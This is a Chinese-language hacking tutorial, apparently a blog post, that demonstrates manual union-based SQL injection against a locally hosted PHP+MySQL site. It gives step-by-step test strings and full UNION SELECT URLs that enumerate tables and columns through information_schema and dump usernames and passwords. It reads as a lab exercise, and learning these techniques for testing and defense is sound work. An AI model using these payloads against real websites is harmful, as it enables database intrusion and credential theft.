大家好,本日给大家写下如何渗透php+mysql网站,由于是测试我本地搭建了个网站
教程针对的是mysql5.0以上的版本!
由于mysql5.0以上自带的有information_schema数据库,
information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)。

用的工具是apmserv
php函数:
database():数据库名
user():数据库用户
version():数据库版本
Mysql数据库构造
数据库A
表名
列名
数据
数据库B
表名
列名
数据
一、判断是否存在注入点先用 ' 单引号来测试
返回不正常,接着用and 来判断
and 1=1 返回正常
and 1=2
返回缺点
大略两步确认存在sql注入漏洞
二、order by18精确
19缺点(解释存在18个字段)
三、UNION SELECT 联合查询
http://192.168.1.30:88/article.php?id=-5 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
爆出的数字是2.3。我们把须要查询的函数写入2或者3上面来查询
查询数据库名 用户 数据库版本,操作系统
四、爆数据库下的所有表(数据库名须要转码)http://192.168.1.30:88/article.php?id=-5 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables where table_schema=0x6A69616E
五、爆数据库下表下的列
http://192.168.1.30:88/article.php?id=-5 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.columns where table_name=0x6262736D656D626572
六、爆列下的内容
http://192.168.1.30:88/article.php?id=-5 UNION SELECT 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from bbsmember
账号密码都是admin
学习黑客技能的话 可以关注我,每天都会有相应的教程发布的!!
!
感谢大家的支持